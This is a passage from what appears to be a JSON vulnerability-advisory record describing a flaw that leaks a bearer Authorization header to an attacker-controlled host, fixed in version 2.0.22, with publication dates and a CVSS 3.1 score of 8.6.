overrides the request authority, so the bearer Authorization header is sent to an attacker-controlled host, leaking the credential. This issue is fixed in version 2.0.22.","status":"published","published":"2026-07-28T17:16:00Z","modified":"2026-10-17T12:59:07.154302465Z","cvss":[{"version":"3.1","score":8.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T16:56:41.382716Z"}]}}
